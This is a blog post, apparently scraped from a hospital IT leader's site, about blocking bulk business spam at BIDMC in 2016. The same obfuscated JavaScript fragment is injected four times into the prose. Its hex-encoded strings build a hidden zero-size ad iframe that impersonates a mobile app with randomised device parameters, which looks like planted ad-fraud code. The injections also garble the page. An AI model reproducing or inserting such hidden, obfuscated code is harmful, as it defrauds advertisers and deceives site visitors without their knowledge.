A Zero Tolerance Policy for Business Spam

script> var pubid = '6583043521789456'; var s1 = '8451387583'; var pn1 = 'com.mesothelioma.cancer.us'; var _0x6717=["x68x74x74x70x73x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x61x64x73x2Ex67x2Ex64x6Fx75x62x6Cx65x63x6Cx69x63x6Bx2Ex6Ex65x74x2Fx6Dx61x64x73x2Fx67x6Dx61x3Fx70x72x65x71x73x3Dx30x26x75x5Fx73x64x3Dx31x2Ex35x26x75x5Fx77x3Dx33x32x30x26x6Dx73x69x64x3D","x26x63x61x70x3Dx61x26x6Ax73x3Dx61x66x6Dx61x2Dx73x64x6Bx2Dx61x2Dx76x33x2Ex33x2Ex30x26x74x6Fx61x72x3Dx30x26x69x73x75x3Dx57x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x25x32x39x2Bx25x32x37x45x45x41x42x42x38x45x45x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x25x32x39x2Bx25x32x37x43x32x42x45x37x37x30x42x36x38x34x44x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x25x32x39x2Bx25x32x37x45x43x42x26x63x69x70x61x3Dx30x26x66x6Fx72x6Dx61x74x3Dx33x32x30x78x35x30x5Fx6Dx62x26x6Ex65x74x3Dx77x69x26x61x70x70x5Fx6Ex61x6Dx65x3Dx31x2Ex61x6Ex64x72x6Fx69x64x2E","x26x68x6Cx3Dx65x6Ex26x75x5Fx68x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x61x72x72x69x65x72x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x39x25x32x39x2Bx25x32x37x26x70x74x69x6Dx65x3Dx30x26x75x5Fx61x75x64x69x6Fx3Dx34x26x75x5Fx73x6Fx3Dx70x26x6Fx75x74x70x75x74x3Dx68x74x6Dx6Cx26x72x65x67x69x6Fx6Ex3Dx6Dx6Fx62x69x6Cx65x5Fx61x70x70x26x75x5Fx74x7Ax3Dx2Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x6Cx69x65x6Ex74x5Fx73x64x6Bx3Dx31x26x65x78x3Dx31x26x63x6Cx69x65x6Ex74x3Dx63x61x2Dx61x70x70x2Dx70x75x62x2D","x26x73x6Cx6Fx74x6Ex61x6Dx65x3D","x26x63x61x70x73x3Dx69x6Ex6Cx69x6Ex65x56x69x64x65x6Fx5Fx69x6Ex74x65x72x61x63x74x69x76x65x56x69x64x65x6Fx5Fx6Dx72x61x69x64x31x5Fx63x6Cx69x63x6Bx54x72x61x63x6Bx69x6Ex67x5Fx73x64x6Bx41x64x6Dx6Fx62x41x70x69x46x6Fx72x41x64x73x26x6Ax73x76x3Dx31x38x22x20x68x65x69x67x68x74x3Dx22x35x35x22x20x77x69x64x74x68x3Dx22x33x32x35x22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx22x30x22x20x73x63x72x6Fx6Cx6Cx69x6Ex67x3Dx22x6Ex6Fx22x20x77x69x64x74x68x3Dx22x30x22x20x68x65x69x67x68x74x3Dx22x30x22x20x6Dx61x72x67x69x6Ex77x69x64x74x68x3Dx22x30x22x20x6Dx61x72x67x69x6Ex68x65x69x67x68x74x3Dx22x30x22x20"];var src1=_0x6717[0]+ pn1+ _0x6717[1]+ pn1+ _0x6717[2]+ pubid+ _0x6717[3]+ s1+ _0x6717[4]
In 2011 and 2012 I wrote about the increasing problem of Business Spam - unsolicited, unconsented advertising that has grown in volume to the point that it constitutes more than half of my email .    In 2016, I’ve done an experiment - I’ve not opted in to any newsletter, any website offering notifications or any vendor offering information.   I’ve monitored my mailbox for violators of good email practices.

This month, we put a stop to it - cold turkey.   Anyone sending business spam is now blocked from the 22,000 users of Beth Israel Deaconess and its affiliates.
script> var pubid = '6583043521789456'; var s1 = '8451387583'; var pn1 = 'com.mesothelioma.cancer.us'; var _0x6717=["x68x74x74x70x73x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x61x64x73x2Ex67x2Ex64x6Fx75x62x6Cx65x63x6Cx69x63x6Bx2Ex6Ex65x74x2Fx6Dx61x64x73x2Fx67x6Dx61x3Fx70x72x65x71x73x3Dx30x26x75x5Fx73x64x3Dx31x2Ex35x26x75x5Fx77x3Dx33x32x30x26x6Dx73x69x64x3D","x26x63x61x70x3Dx61x26x6Ax73x3Dx61x66x6Dx61x2Dx73x64x6Bx2Dx61x2Dx76x33x2Ex33x2Ex30x26x74x6Fx61x72x3Dx30x26x69x73x75x3Dx57x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x25x32x39x2Bx25x32x37x45x45x41x42x42x38x45x45x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x25x32x39x2Bx25x32x37x43x32x42x45x37x37x30x42x36x38x34x44x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x25x32x39x2Bx25x32x37x45x43x42x26x63x69x70x61x3Dx30x26x66x6Fx72x6Dx61x74x3Dx33x32x30x78x35x30x5Fx6Dx62x26x6Ex65x74x3Dx77x69x26x61x70x70x5Fx6Ex61x6Dx65x3Dx31x2Ex61x6Ex64x72x6Fx69x64x2E","x26x68x6Cx3Dx65x6Ex26x75x5Fx68x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x61x72x72x69x65x72x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x39x25x32x39x2Bx25x32x37x26x70x74x69x6Dx65x3Dx30x26x75x5Fx61x75x64x69x6Fx3Dx34x26x75x5Fx73x6Fx3Dx70x26x6Fx75x74x70x75x74x3Dx68x74x6Dx6Cx26x72x65x67x69x6Fx6Ex3Dx6Dx6Fx62x69x6Cx65x5Fx61x70x70x26x75x5Fx74x7Ax3Dx2Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x6Cx69x65x6Ex74x5Fx73x64x6Bx3Dx31x26x65x78x3Dx31x26x63x6Cx69x65x6Ex74x3Dx63x61x2Dx61x70x70x2Dx70x75x62x2D","x26x73x6Cx6Fx74x6Ex61x6Dx65x3D","x26x63x61x70x73x3Dx69x6Ex6Cx69x6Ex65x56x69x64x65x6Fx5Fx69x6Ex74x65x72x61x63x74x69x76x65x56x69x64x65x6Fx5Fx6Dx72x61x69x64x31x5Fx63x6Cx69x63x6Bx54x72x61x63x6Bx69x6Ex67x5Fx73x64x6Bx41x64x6Dx6Fx62x41x70x69x46x6Fx72x41x64x73x26x6Ax73x76x3Dx31x38x22x20x68x65x69x67x68x74x3Dx22x35x35x22x20x77x69x64x74x68x3Dx22x33x32x35x22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx22x30x22x20x73x63x72x6Fx6Cx6Cx69x6Ex67x3Dx22x6Ex6Fx22x20x77x69x64x74x68x3Dx22x30x22x20x68x65x69x67x68x74x3Dx22x30x22x20x6Dx61x72x67x69x6Ex77x69x64x74x68x3Dx22x30x22x20x6Dx61x72x67x69x6Ex68x65x69x67x68x74x3Dx22x30x22x20"];var src1=_0x6717[0]+ pn1+ _0x6717[1]+ pn1+ _0x6717[2]+ pubid+ _0x6717[3]+ s1+ _0x6717[4]

Here’s how we did it - using a commercially available appliance we have black listed organizations which send bulk email and companies which violate unsolicitied email policies.

I realize there are many categories of activity going on here

1. Those who have my contact information for a legitimate business reason but sell that information without my consent.  Maybe there is something buried in a conference registration that suggests my information will be sold, but I’ve never found such a disclosure.

2.  Those who create mailing lists by guessing at email addresses.   John.halamka,  halamkaj, john_halamka, halamka.john are all guesses since I’ve never used such addresses on any materials.
script> var pubid = '6583043521789456'; var s1 = '8451387583'; var pn1 = 'com.mesothelioma.cancer.us'; var _0x6717=["x68x74x74x70x73x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x61x64x73x2Ex67x2Ex64x6Fx75x62x6Cx65x63x6Cx69x63x6Bx2Ex6Ex65x74x2Fx6Dx61x64x73x2Fx67x6Dx61x3Fx70x72x65x71x73x3Dx30x26x75x5Fx73x64x3Dx31x2Ex35x26x75x5Fx77x3Dx33x32x30x26x6Dx73x69x64x3D","x26x63x61x70x3Dx61x26x6Ax73x3Dx61x66x6Dx61x2Dx73x64x6Bx2Dx61x2Dx76x33x2Ex33x2Ex30x26x74x6Fx61x72x3Dx30x26x69x73x75x3Dx57x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x25x32x39x2Bx25x32x37x45x45x41x42x42x38x45x45x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x25x32x39x2Bx25x32x37x43x32x42x45x37x37x30x42x36x38x34x44x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x25x32x39x2Bx25x32x37x45x43x42x26x63x69x70x61x3Dx30x26x66x6Fx72x6Dx61x74x3Dx33x32x30x78x35x30x5Fx6Dx62x26x6Ex65x74x3Dx77x69x26x61x70x70x5Fx6Ex61x6Dx65x3Dx31x2Ex61x6Ex64x72x6Fx69x64x2E","x26x68x6Cx3Dx65x6Ex26x75x5Fx68x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x61x72x72x69x65x72x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x39x25x32x39x2Bx25x32x37x26x70x74x69x6Dx65x3Dx30x26x75x5Fx61x75x64x69x6Fx3Dx34x26x75x5Fx73x6Fx3Dx70x26x6Fx75x74x70x75x74x3Dx68x74x6Dx6Cx26x72x65x67x69x6Fx6Ex3Dx6Dx6Fx62x69x6Cx65x5Fx61x70x70x26x75x5Fx74x7Ax3Dx2Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x6Cx69x65x6Ex74x5Fx73x64x6Bx3Dx31x26x65x78x3Dx31x26x63x6Cx69x65x6Ex74x3Dx63x61x2Dx61x70x70x2Dx70x75x62x2D","x26x73x6Cx6Fx74x6Ex61x6Dx65x3D","x26x63x61x70x73x3Dx69x6Ex6Cx69x6Ex65x56x69x64x65x6Fx5Fx69x6Ex74x65x72x61x63x74x69x76x65x56x69x64x65x6Fx5Fx6Dx72x61x69x64x31x5Fx63x6Cx69x63x6Bx54x72x61x63x6Bx69x6Ex67x5Fx73x64x6Bx41x64x6Dx6Fx62x41x70x69x46x6Fx72x41x64x73x26x6Ax73x76x3Dx31x38x22x20x68x65x69x67x68x74x3Dx22x35x35x22x20x77x69x64x74x68x3Dx22x33x32x35x22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx22x30x22x20x73x63x72x6Fx6Cx6Cx69x6Ex67x3Dx22x6Ex6Fx22x20x77x69x64x74x68x3Dx22x30x22x20x68x65x69x67x68x74x3Dx22x30x22x20x6Dx61x72x67x69x6Ex77x69x64x74x68x3Dx22x30x22x20x6Dx61x72x67x69x6Ex68x65x69x67x68x74x3Dx22x30x22x20"];var src1=_0x6717[0]+ pn1+ _0x6717[1]+ pn1+ _0x6717[2]+ pubid+ _0x6717[3]+ s1+ _0x6717[4]

3.  Those who facilitate bulk mailing.   I’ve had conversations with the management of companies that provide bulk mailing services such as newsletters/product updates/special deals.   Many of these bulk mailing companies have sound anti-spam policies.   However, they have to trust that organizations which use their services adhere to the policies, accepting attestation that consent/subscription has been obtained from receipients on mailing lists.   Many customers of bulk mailing outfits submit false attestations.    Remember, I’ve not opted into a single thing in 2016 and I’m receiving hundreds of bulk emails every day.

May of 2016 marks “email liberation” month at BIDMC, since  we put a stop to the electronic equivalent of garbage passing through our email gateways.   This Zero tolerance for bulk email approach may very well transform email into a once again useful medium for communication.   Sure, we’ll implement secure texting and groupware over the next year as alternatives to email, but there is a chance email could be salvaged.

My email box has gone from 1500 emails a day to 150.    If everyone does this, maybe the business spammers will stop their flood of unwanted communications.

Viva the email liberation!

script> var pubid = '6583043521789456'; var s1 = '8451387583'; var pn1 = 'com.mesothelioma.cancer.us'; var _0x6717=["x68x74x74x70x73x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x61x64x73x2Ex67x2Ex64x6Fx75x62x6Cx65x63x6Cx69x63x6Bx2Ex6Ex65x74x2Fx6Dx61x64x73x2Fx67x6Dx61x3Fx70x72x65x71x73x3Dx30x26x75x5Fx73x64x3Dx31x2Ex35x26x75x5Fx77x3Dx33x32x30x26x6Dx73x69x64x3D","x26x63x61x70x3Dx61x26x6Ax73x3Dx61x66x6Dx61x2Dx73x64x6Bx2Dx61x2Dx76x33x2Ex33x2Ex30x26x74x6Fx61x72x3Dx30x26x69x73x75x3Dx57x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x25x32x39x2Bx25x32x37x45x45x41x42x42x38x45x45x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x25x32x39x2Bx25x32x37x43x32x42x45x37x37x30x42x36x38x34x44x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x25x32x39x2Bx25x32x37x45x43x42x26x63x69x70x61x3Dx30x26x66x6Fx72x6Dx61x74x3Dx33x32x30x78x35x30x5Fx6Dx62x26x6Ex65x74x3Dx77x69x26x61x70x70x5Fx6Ex61x6Dx65x3Dx31x2Ex61x6Ex64x72x6Fx69x64x2E","x26x68x6Cx3Dx65x6Ex26x75x5Fx68x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x61x72x72x69x65x72x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x39x25x32x39x2Bx25x32x37x26x70x74x69x6Dx65x3Dx30x26x75x5Fx61x75x64x69x6Fx3Dx34x26x75x5Fx73x6Fx3Dx70x26x6Fx75x74x70x75x74x3Dx68x74x6Dx6Cx26x72x65x67x69x6Fx6Ex3Dx6Dx6Fx62x69x6Cx65x5Fx61x70x70x26x75x5Fx74x7Ax3Dx2Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x6Cx69x65x6Ex74x5Fx73x64x6Bx3Dx31x26x65x78x3Dx31x26x63x6Cx69x65x6Ex74x3Dx63x61x2Dx61x70x70x2Dx70x75x62x2D","x26x73x6Cx6Fx74x6Ex61x6Dx65x3D","x26x63x61x70x73x3Dx69x6Ex6Cx69x6Ex65x56x69x64x65x6Fx5Fx69x6Ex74x65x72x61x63x74x69x76x65x56x69x64x65x6Fx5Fx6Dx72x61x69x64x31x5Fx63x6Cx69x63x6Bx54x72x61x63x6Bx69x6Ex67x5Fx73x64x6Bx41x64x6Dx6Fx62x41x70x69x46x6Fx72x41x64x73x26x6Ax73x76x3Dx31x38x22x20x68x65x69x67x68x74x3Dx22x35x35x22x20x77x69x64x74x68x3Dx22x33x32x35x22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx22x30x22x20x73x63x72x6Fx6Cx6Cx69x6Ex67x3Dx22x6Ex6Fx22x20x77x69x64x74x68x3Dx22x30x22x20x68x65x69x67x68x74x3Dx22x30x22x20x6Dx61x72x67x69x6Ex77x69x64x74x68x3Dx22x30x22x20x6Dx61x72x67x69x6Ex68x65x69x67x68x74x3Dx22x30x22x20"];var src1=_0x6717[0]+ pn1+ _0x6717[1]+ pn1+ _0x6717[2]+ pubid+ _0x6717[3]+ s1+ _0x6717[4]

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